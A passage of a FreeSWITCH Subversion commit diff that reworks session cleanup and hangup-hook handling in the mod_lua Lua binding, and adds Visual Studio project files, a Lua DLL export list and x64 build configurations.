  * build all sorts of c wrappers and lua shadows of the c wrappers.
  */
 %include switch_swigable_cpp.h
-%include freeswitch_lua.h
 
 
+namespace LUA {
+class Session : public CoreSession {
+ private:
+	virtual void do_hangup_hook();
+	lua_State *getLUA();
+	lua_State *L;
+	int hh;
+	int mark;
+ public:
+    Session();
+    Session(char *uuid, CoreSession *a_leg = NULL);
+    Session(switch_core_session_t *session);
+    ~Session();        
+	virtual void destroy(void);
+	
+	virtual bool begin_allow_threads();
+	virtual bool end_allow_threads();
+	virtual void check_hangup_hook();
 
+	virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
+	void unsetInputCallback(void);
+	void setInputCallback(char *cbfunc, char *funcargs = NULL);
+	void setHangupHook(char *func, char *arg = NULL);
+	bool ready();
+	int originate(CoreSession *a_leg_session, char *dest, int timeout);
+	
+	char *cb_function;
+	char *cb_arg;
+	char *hangup_func_str;
+	char *hangup_func_arg;
+	void setLUA(lua_State *state);
+
+};
+}
+
+
+
+
+

Modified: freeswitch/branches/seven/src/mod/languages/mod_lua/freeswitch_lua.cpp (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_lua/freeswitch_lua.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_lua/freeswitch_lua.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -21,21 +21,37 @@
 	hh = mark = 0;
 }
 static switch_status_t lua_hanguphook(switch_core_session_t *session_hungup);
-Session::~Session()
+
+
+void Session::destroy(void)
 {
+	
+	if (!allocated) {
+		return;
+	}
 
-	if (hangup_func_str) {
-		if (session) {
-			switch_core_event_hook_remove_state_change(session, lua_hanguphook);
+	if (session) {
+		if (!channel) {
+			channel = switch_core_session_get_channel(session);
 		}
-		free(hangup_func_str);
+		switch_channel_set_private(channel, "CoreSession", NULL);
+		switch_core_event_hook_remove_state_change(session, lua_hanguphook);
 	}
 
+	switch_safe_free(hangup_func_str);
 	switch_safe_free(hangup_func_arg);
 	switch_safe_free(cb_function);
 	switch_safe_free(cb_arg);
+
+	CoreSession::destroy();
 }
 
+
+Session::~Session()
+{
+	destroy();
+}
+
 bool Session::begin_allow_threads()
 {
 	do_hangup_hook();
@@ -83,6 +99,9 @@
 {
 	bool r;
 
+	if (!session) {
+		return false;
+	}
 	sanity_check(false);
 	r = switch_channel_ready(channel) != 0;
 	do_hangup_hook();
@@ -124,19 +143,44 @@
 		if (!switch_strlen_zero(err)) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%s\n", err);
 		}
+
+		if (channel) {
+			switch_channel_set_private(channel, "CoreSession", NULL);
+		}
+
+		if (session) {
+			switch_core_event_hook_remove_state_change(session, lua_hanguphook);
+		}
+		switch_safe_free(hangup_func_str);
+
 	}
 }
 
 static switch_status_t lua_hanguphook(switch_core_session_t *session_hungup)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session_hungup);
-	CoreSession *coresession = NULL;
+	Session *coresession = NULL;
 	switch_channel_state_t state = switch_channel_get_state(channel);
 
-	if ((coresession = (CoreSession *) switch_channel_get_private(channel, "CoreSession"))) {
-		if (coresession->hook_state != state) {
+	if (session_hungup) {
+
+		channel = switch_core_session_get_channel(session_hungup);
+
+		if (channel) {
+			void *vs = switch_channel_get_private(channel, "CoreSession");
+			if (vs) {
+				coresession = (Session *) vs;
+			}
+		}
+		
+		if (!(coresession && coresession->hook_state)) {
+			return SWITCH_STATUS_FALSE;
+		}
+
+		if (coresession && coresession->allocated && (state == CS_HANGUP || state == CS_ROUTING) && coresession->hook_state != state) {
 			coresession->hook_state = state;
 			coresession->check_hangup_hook();
+			switch_core_event_hook_remove_state_change(session_hungup, lua_hanguphook);
 		}
 	}
 

Modified: freeswitch/branches/seven/src/mod/languages/mod_lua/freeswitch_lua.h (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_lua/freeswitch_lua.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_lua/freeswitch_lua.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,6 +23,7 @@
     Session(char *uuid, CoreSession *a_leg = NULL);
     Session(switch_core_session_t *session);
     ~Session();        
+	SWITCH_MOD_DECLARE(virtual void) destroy(void);
 	
 	virtual bool begin_allow_threads();
 	virtual bool end_allow_threads();
@@ -40,6 +41,7 @@
 	char *hangup_func_str;
 	char *hangup_func_arg;
 	void setLUA(lua_State *state);
+
 };
 }
 #endif

Property changes: freeswitch/branches/seven/src/mod/languages/mod_lua/lua


Name: svn:ignore
   - liblua.a
   + liblua.a
Debug
*.user
Release
x64

Copied: freeswitch/branches/seven/src/mod/languages/mod_lua/lua/lua.2005.vcproj (from rev 14471, freeswitch/trunk/src/mod/languages/mod_lua/lua/lua.2005.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_lua/lua/lua.2005.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/languages/mod_lua/lua/lua.2005.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,383 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="lua51"
+	ProjectGUID="{D0B36172-CD76-454A-9B89-990025266C2A}"
+	RootNamespace="lua51"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)Debug"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;_CRT_SECURE_NO_DEPRECATE;_WIN32;LUA_BUILD_AS_DLL"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127, 4505"
+				EnablePREfast="false"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(OutDir)\lua5.1.dll"
+				ModuleDefinitionFile=""
+				GenerateDebugInformation="true"
+				ImportLibrary=".\$(IntDir)\lua5.1.lib"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)Release"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_WIN32;LUA_BUILD_AS_DLL"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127, 4505"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(OutDir)\lua5.1.dll"
+				ModuleDefinitionFile=""
+				ImportLibrary=".\$(IntDir)\lua5.1.lib"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\lapi.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lapi.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lauxlib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lauxlib.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lbaselib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lcode.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lcode.h"
+			>
+		</File>
+		<File
+			RelativePath=".\ldblib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ldebug.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ldebug.h"
+			>
+		</File>
+		<File
+			RelativePath=".\ldo.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ldo.h"
+			>
+		</File>
+		<File
+			RelativePath=".\ldump.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lfunc.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lfunc.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lgc.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lgc.h"
+			>
+		</File>
+		<File
+			RelativePath=".\linit.c"
+			>
+		</File>
+		<File
+			RelativePath=".\liolib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\llex.c"
+			>
+		</File>
+		<File
+			RelativePath=".\llex.h"
+			>
+		</File>
+		<File
+			RelativePath=".\llimits.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lmathlib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lmem.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lmem.h"
+			>
+		</File>
+		<File
+			RelativePath=".\loadlib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lobject.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lobject.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lopcodes.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lopcodes.h"
+			>
+		</File>
+		<File
+			RelativePath=".\loslib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lparser.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lparser.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lstate.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lstate.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lstring.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lstring.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lstrlib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ltable.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ltable.h"
+			>
+		</File>
+		<File
+			RelativePath=".\ltablib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ltm.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ltm.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lua.def"
+			>
+		</File>
+		<File
+			RelativePath=".\lua.h"
+			>
+		</File>
+		<File
+			RelativePath=".\luaconf.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lualib.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lundump.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lundump.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lvm.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lvm.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lzio.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lzio.h"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/src/mod/languages/mod_lua/lua/lua.2008.vcproj (from rev 14471, freeswitch/trunk/src/mod/languages/mod_lua/lua/lua.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_lua/lua/lua.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/languages/mod_lua/lua/lua.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,531 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="lua51"
+	ProjectGUID="{D0B36172-CD76-454A-9B89-990025266C2A}"
+	RootNamespace="lua51"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)Debug"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;_CRT_SECURE_NO_DEPRECATE;_WIN32;LUA_BUILD_AS_DLL"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127, 4505"
+				EnablePREfast="false"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(OutDir)\lua5.1.dll"
+				ModuleDefinitionFile=""
+				GenerateDebugInformation="true"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary=".\$(IntDir)/lua5.1.lib"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;_CRT_SECURE_NO_DEPRECATE;_WIN32;LUA_BUILD_AS_DLL"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127, 4505"
+				EnablePREfast="false"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(OutDir)\lua5.1.dll"
+				ModuleDefinitionFile=""
+				GenerateDebugInformation="true"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary=".\$(IntDir)/lua5.1.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)Release"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_WIN32;LUA_BUILD_AS_DLL"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127, 4505"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(OutDir)\lua5.1.dll"
+				ModuleDefinitionFile=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary=".\$(IntDir)/lua5.1.lib"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_WIN32;LUA_BUILD_AS_DLL"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127, 4505"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(OutDir)\lua5.1.dll"
+				ModuleDefinitionFile=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary=".\$(IntDir)/lua5.1.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\lapi.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lapi.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lauxlib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lauxlib.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lbaselib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lcode.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lcode.h"
+			>
+		</File>
+		<File
+			RelativePath=".\ldblib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ldebug.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ldebug.h"
+			>
+		</File>
+		<File
+			RelativePath=".\ldo.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ldo.h"
+			>
+		</File>
+		<File
+			RelativePath=".\ldump.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lfunc.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lfunc.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lgc.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lgc.h"
+			>
+		</File>
+		<File
+			RelativePath=".\linit.c"
+			>
+		</File>
+		<File
+			RelativePath=".\liolib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\llex.c"
+			>
+		</File>
+		<File
+			RelativePath=".\llex.h"
+			>
+		</File>
+		<File
+			RelativePath=".\llimits.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lmathlib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lmem.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lmem.h"
+			>
+		</File>
+		<File
+			RelativePath=".\loadlib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lobject.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lobject.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lopcodes.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lopcodes.h"
+			>
+		</File>
+		<File
+			RelativePath=".\loslib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lparser.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lparser.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lstate.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lstate.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lstring.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lstring.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lstrlib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ltable.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ltable.h"
+			>
+		</File>
+		<File
+			RelativePath=".\ltablib.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ltm.c"
+			>
+		</File>
+		<File
+			RelativePath=".\ltm.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lua.def"
+			>
+		</File>
+		<File
+			RelativePath=".\lua.h"
+			>
+		</File>
+		<File
+			RelativePath=".\luaconf.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lualib.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lundump.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lundump.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lvm.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lvm.h"
+			>
+		</File>
+		<File
+			RelativePath=".\lzio.c"
+			>
+		</File>
+		<File
+			RelativePath=".\lzio.h"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/src/mod/languages/mod_lua/lua/lua.def (from rev 14471, freeswitch/trunk/src/mod/languages/mod_lua/lua/lua.def) (0 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_lua/lua/lua.def	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/languages/mod_lua/lua/lua.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,84 @@
+EXPORTS
+lua_newstate
+lua_close
+lua_newthread
+lua_atpanic
+lua_gettop
+lua_settop
+lua_pushvalue
+lua_remove
+lua_insert
+lua_replace
+lua_checkstack
+lua_xmove
+lua_isnumber
+lua_isstring
+lua_iscfunction
+lua_isuserdata
+lua_type
+lua_typename
+lua_equal
+lua_rawequal
+lua_lessthan
+lua_tonumber
+lua_toboolean
+lua_tolstring
+lua_objlen
+lua_tocfunction
+lua_touserdata
+lua_tothread
+lua_pushnil
+lua_pushnumber
+lua_pushlstring
+lua_pushstring
+lua_pushvfstring
+lua_pushfstring
+lua_pushcclosure
+lua_pushboolean
+lua_pushlightuserdata
+lua_pushthread
+lua_gettable
+lua_getfield
+lua_rawget
+lua_rawgeti
+lua_createtable
+lua_newuserdata
+lua_getmetatable
+lua_getfenv
+lua_settable
+lua_setfield
+lua_rawset
+lua_rawseti
+lua_setmetatable
+lua_setfenv
+lua_call
+lua_pcall
+lua_cpcall
+lua_load
+lua_dump
+lua_yield
+lua_resume
+lua_status
+lua_gc
+lua_error
+lua_next
+lua_concat
+lua_getallocf
+lua_setallocf
+lua_setlevel
+lua_getstack
+lua_getinfo
+lua_getlocal
+lua_setlocal
+lua_getupvalue
+lua_setupvalue
+lua_sethook
+lua_gethook
+lua_gethookmask
+lua_gethookcount
+luaL_loadbuffer
+luaL_openlibs
+luaL_newstate
+lua_pushinteger
+luaL_loadfile
+luaL_loadstring
\ No newline at end of file

Modified: freeswitch/branches/seven/src/mod/languages/mod_lua/lua/luaconf.h (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_lua/lua/luaconf.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_lua/lua/luaconf.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -161,9 +161,12 @@
 
 #else
 
+#if (defined(__GNUC__) || defined(__SUNPRO_CC) || defined (__SUNPRO_C)) && defined(HAVE_VISIBILITY) && (defined(LUA_CORE) || defined(LUA_LIB))
+#define LUA_API	__attribute__((visibility("default")))
+#else
 #define LUA_API		extern
-
 #endif
+#endif
 
 /* more often than not the libs go together with the core */
 #define LUALIB_API	LUA_API

Modified: freeswitch/branches/seven/src/mod/languages/mod_lua/mod_lua.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_lua/mod_lua.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_lua/mod_lua.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -82,6 +85,74 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;./lua"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_WIN32"
+				UsePrecompiledHeader="0"
+				DisableSpecificWarnings="4127, 4505"
+				EnablePREfast="false"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -145,6 +216,73 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
